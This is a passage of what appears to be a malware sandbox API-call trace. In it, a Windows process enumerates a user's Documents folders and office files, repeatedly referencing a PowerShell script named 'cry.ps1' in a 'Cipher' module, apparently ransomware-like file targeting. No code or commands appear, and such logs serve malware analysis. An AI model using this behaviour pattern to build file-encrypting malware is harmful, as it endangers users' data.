"c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt")) returned 0x10 [0116.204] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt")) returned 0x10 [0116.205] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt", nBufferLength=0x105, lpBuffer=0x99ae5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt", lpFilePart=0x0) returned 0x4c [0116.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae9f4) returned 1 [0116.205] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt", nBufferLength=0x105, lpBuffer=0x99ae4fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt", lpFilePart=0x0) returned 0x4c [0116.205] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\", nBufferLength=0x105, lpBuffer=0x99ae4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\", lpFilePart=0x0) returned 0x4d [0116.205] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\*", lpFindFileData=0x99ae71c | out: lpFindFileData=0x99ae71c) returned 0x8e852b8 [0116.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae9f4) returned 1 [0116.205] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt", nBufferLength=0x105, lpBuffer=0x99ae4fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt", lpFilePart=0x0) returned 0x4c [0116.205] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\", nBufferLength=0x105, lpBuffer=0x99ae4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\", lpFilePart=0x0) returned 0x4d [0116.205] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\*", lpFindFileData=0x99ae71c | out: lpFindFileData=0x99ae71c) returned 0x8e85478 [0116.205] FindNextFileW (in: hFindFile=0x8e852b8, lpFindFileData=0x99ae778 | out: lpFindFileData=0x99ae778) returned 1 [0116.205] FindNextFileW (in: hFindFile=0x8e852b8, lpFindFileData=0x99ae778 | out: lpFindFileData=0x99ae778) returned 1 [0116.205] FindNextFileW (in: hFindFile=0x8e852b8, lpFindFileData=0x99ae778 | out: lpFindFileData=0x99ae778) returned 1 [0116.205] FindNextFileW (in: hFindFile=0x8e852b8, lpFindFileData=0x99ae778 | out: lpFindFileData=0x99ae778) returned 0 [0116.206] FindClose (in: hFindFile=0x8e852b8 | out: hFindFile=0x8e852b8) returned 1 [0116.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea00) returned 1 [0116.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea0c) returned 1 [0116.206] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae778 | out: lpFindFileData=0x99ae778) returned 1 [0116.206] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae778 | out: lpFindFileData=0x99ae778) returned 1 [0116.206] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", nBufferLength=0x105, lpBuffer=0x99ae4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", lpFilePart=0x0) returned 0x55 [0116.206] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae778 | out: lpFindFileData=0x99ae778) returned 1 [0116.206] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", nBufferLength=0x105, lpBuffer=0x99ae4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", lpFilePart=0x0) returned 0x5c [0116.206] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae778 | out: lpFindFileData=0x99ae778) returned 0 [0116.206] FindClose (in: hFindFile=0x8e85478 | out: hFindFile=0x8e85478) returned 1 [0116.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea00) returned 1 [0116.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea0c) returned 1 [0116.206] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\1zzy.doc")) returned 0x20 [0116.207] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", nBufferLength=0x105, lpBuffer=0x99ae568, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", lpFilePart=0x0) returned 0x55 [0116.207] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", nBufferLength=0x105, lpBuffer=0x99ae52c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", lpFilePart=0x0) returned 0x55 [0116.207] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.207] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\1zzy.doc")) returned 0x20 [0116.207] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\hsrjj2x8m w.pdf")) returned 0x20 [0116.207] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", nBufferLength=0x105, lpBuffer=0x99ae568, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", lpFilePart=0x0) returned 0x5c [0116.207] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", nBufferLength=0x105, lpBuffer=0x99ae52c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", lpFilePart=0x0) returned 0x5c [0116.207] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.208] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\hsrjj2x8m w.pdf")) returned 0x20 [0116.208] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\oucsqye.xls")) returned 0x20 [0116.208] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", nBufferLength=0x105, lpBuffer=0x99ae5e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", lpFilePart=0x0) returned 0x44 [0116.208] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", nBufferLength=0x105, lpBuffer=0x99ae5ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", lpFilePart=0x0) returned 0x44 [0116.208] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.243] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\oucsqye.xls")) returned 0x20 [0116.243] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\qiCibO.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\qicibo.odt")) returned 0x20 [0116.244] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\sbC2klWjcF2ua6Mf.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\sbc2klwjcf2ua6mf.ods")) returned 0x20 [0116.244] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\Uol hoYwk gyNkfYPOCU.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\uol hoywk gynkfypocu.docx")) returned 0x20 [0116.244] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\_ESS.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\_ess.docx")) returned 0x20 [0116.244] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\x2judm7ui3bf1ica73d")) returned 0x10 [0116.244] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\x2judm7ui3bf1ica73d")) returned 0x10 [0116.244] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D", nBufferLength=0x105, lpBuffer=0x99ae630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D", lpFilePart=0x0) returned 0x45 [0116.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea74) returned 1 [0116.244] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D", nBufferLength=0x105, lpBuffer=0x99ae57c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D", lpFilePart=0x0) returned 0x45 [0116.244] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\", nBufferLength=0x105, lpBuffer=0x99ae550, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\", lpFilePart=0x0) returned 0x46 [0116.245] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\*", lpFindFileData=0x99ae79c | out: lpFindFileData=0x99ae79c) returned 0x8e856b8 [0116.245] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea74) returned 1 [0116.245] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D", nBufferLength=0x105, lpBuffer=0x99ae57c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D", lpFilePart=0x0) returned 0x45 [0116.245] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\", nBufferLength=0x105, lpBuffer=0x99ae550, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\", lpFilePart=0x0) returned 0x46 [0116.245] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\*", lpFindFileData=0x99ae79c | out: lpFindFileData=0x99ae79c) returned 0x8e856f8 [0116.245] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.245] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.245] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.245] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.245] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.245] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 0 [0116.245] FindClose (in: hFindFile=0x8e856b8 | out: hFindFile=0x8e856b8) returned 1 [0116.245] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0116.245] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea8c) returned 1 [0116.246] FindNextFileW (in: hFindFile=0x8e856f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.246] FindNextFileW (in: hFindFile=0x8e856f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.246] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\0yBdgl3Tnm1.csv", nBufferLength=0x105, lpBuffer=0x99ae528, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\0yBdgl3Tnm1.csv", lpFilePart=0x0) returned 0x55 [0116.246] FindNextFileW (in: hFindFile=0x8e856f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.246] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\37hhdOH37doG1p.xlsx", nBufferLength=0x105, lpBuffer=0x99ae528, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\37hhdOH37doG1p.xlsx", lpFilePart=0x0) returned 0x59 [0116.246] FindNextFileW (in: hFindFile=0x8e856f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.246] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\c-VBW-aRd.ots", nBufferLength=0x105, lpBuffer=0x99ae528, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\c-VBW-aRd.ots", lpFilePart=0x0) returned 0x53 [0116.246] FindNextFileW (in: hFindFile=0x8e856f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.246] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", nBufferLength=0x105, lpBuffer=0x99ae528, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", lpFilePart=0x0) returned 0x4f [0116.246] FindNextFileW (in: hFindFile=0x8e856f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 0 [0116.246] FindClose (in: hFindFile=0x8e856f8 | out: hFindFile=0x8e856f8) returned 1 [0116.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0116.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea8c) returned 1 [0116.247] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\0yBdgl3Tnm1.csv" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\x2judm7ui3bf1ica73d\\0ybdgl3tnm1.csv")) returned 0x20 [0116.247] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\37hhdOH37doG1p.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\x2judm7ui3bf1ica73d\\37hhdoh37dog1p.xlsx")) returned 0x20 [0116.247] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\c-VBW-aRd.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\x2judm7ui3bf1ica73d\\c-vbw-ard.ots")) returned 0x20 [0116.247] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\x2judm7ui3bf1ica73d\\rck4e.pdf")) returned 0x20 [0116.247] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", nBufferLength=0x105, lpBuffer=0x99ae5e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", lpFilePart=0x0) returned 0x4f [0116.247] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", nBufferLength=0x105, lpBuffer=0x99ae5ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", lpFilePart=0x0) returned 0x4f [0116.248] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.248] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\x2judm7ui3bf1ica73d\\rck4e.pdf")) returned 0x20 [0116.248] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\ZQf2-QQuRGge.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\zqf2-qqurgge.xlsx")) returned 0x20 [0116.248] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\9lmlja8pk0rgo1ucb")) returned 0x10 [0116.249] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\9lmlja8pk0rgo1ucb")) returned 0x10 [0116.249] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb", nBufferLength=0x105, lpBuffer=0x99ae6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb", lpFilePart=0x0) returned 0x31 [0116.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.249] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb", nBufferLength=0x105, lpBuffer=0x99ae5fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb", lpFilePart=0x0) returned 0x31 [0116.249] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\", nBufferLength=0x105, lpBuffer=0x99ae5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\", lpFilePart=0x0) returned 0x32 [0116.249] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\*", lpFindFileData=0x99ae81c | out: lpFindFileData=0x99ae81c) returned 0x8e85238 [0116.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.249] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb", nBufferLength=0x105, lpBuffer=0x99ae5fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb", lpFilePart=0x0) returned 0x31 [0116.249] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\", nBufferLength=0x105, lpBuffer=0x99ae5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\", lpFilePart=0x0) returned 0x32 [0116.249] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\*", lpFindFileData=0x99ae81c | out: lpFindFileData=0x99ae81c) returned 0x8e856b8 [0116.249] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.249] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.249] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.250] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.250] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 0 [0116.250] FindClose (in: hFindFile=0x8e85238 | out: hFindFile=0x8e85238) returned 1 [0116.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.250] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.250] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.250] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", lpFilePart=0x0) returned 0x3a [0116.250] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.250] GetFullPathNameW (in: 